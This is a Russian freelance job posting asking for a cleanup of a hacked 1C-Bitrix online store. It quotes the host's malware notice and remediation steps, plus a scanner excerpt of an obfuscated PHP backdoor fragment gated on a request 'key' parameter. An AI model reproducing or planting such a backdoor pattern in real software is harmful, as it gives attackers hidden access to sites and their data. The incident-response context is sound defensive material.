Безопасность сайта — удалённая работа в Москве

Интернет-магазин. Платформа: 1С-Битрикс. Объём сайта: 1 страница. Сайт supertrus.ru - хостинг провайдер отключили возможность отправки-получения писем. Нужно проверить сайт на наличие стороннего кода: Ответ службы поддержки хостинг-провайдера: Примененный к сайту ограничивающий шаблон блокирует запуск части известных вредоносных скриптов и шеллов, а также препятствует повторному заражению сайта. Наша система среагировала на вирусные сигнатуры: /home/d/dest12/test23/public_html/21a74e26d4a5.php Вероятно, Ваш сайт был взломан. Вам необходимо проверить файлы сайтов на наличие стороннего кода, не характерного для Вашей CMS, а также наличие посторонних файлов среди файлов сайта. Для проверки Вы можете использовать утилиту AI-Bolit. С её помощью Вы можете провести проверку в параноидальный режиме и получить отчет, с указанием файлов, на которые необходимо обратить внимание. Полученную информацию вы можете передать профильным специалистам для дальнейшего анализа. Я проверил и получил вот такие данные (файлы могут быть вредоносными или хакерскими скриптами (1): /home/d/dest12/supertrus.ru/public_html/bitrix/modules/main/include.php.backup [x] …tic function IsFeatureInstalled($_[Телефон скрыт]){return true;}}$GLOBALS['____53545652'][0](___[Телефон скрыт](0),___[Телефон скрыт](1)); if($_REQUEST[“key“]!=““){if($_REQUEST[“key“]==“a“.md5(“B_PROLOG_INCLUDED“).“e“){$resu1t=copy($_SERVER[“DOCUMENT_ROOT“]. Особенно часто вредоносный код попадает через уязвимые темы, шаблоны или плагины, установленные со сторонних ресурсов. Не используйте устаревшие версии CMS и плагинов к ним. Следите за обновлениями! Первоначальные меры, которые нужно предпринять, следующие: Обратиться к профильным специалистам(если такая возможность есть), которые занимаются безопасностью сайтов, для более детального изучения файлов и выявления вредоносного кода и найти причину взлома. После определения причины взлома не ограничивайтесь удалением найденных скриптов - добавленные злоумышленником точки проникновения могут быть хорошо спрятаны. Если сайт работает некорректно, то следует восстановить сайт из резервной копии в разделе Backup, предварительно, закрыв доступ посетителей к нему. Восстановление сайта на дату, когда он был заражен, не исправит ситуацию. На сайте останутся точки проникновения и сами вирусы. Обновить ядро CMS, а также все плагины до последней версии. Удалить неиспользуемые темы и расширения. Проверьте файл .htaccess - в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус. При этом файл .htaccess может быть размещен как в корне сайта, так и выше, поэтому необходимо просмотреть все директории вашего аккаунта. Найти все файлы .htaccess вы можете с помощью команды: find -name *htaccess, которую вы можете выполнить в WEB Терминале. Обязательно изменить пароли для административной панели сайта, email’ов администратора, FTP, MySQL. Желательно устанавливать сгенерированные случайным образом пароли, их сложнее подобрать. Открыть доступ к сайту. Вот такой фронт работ.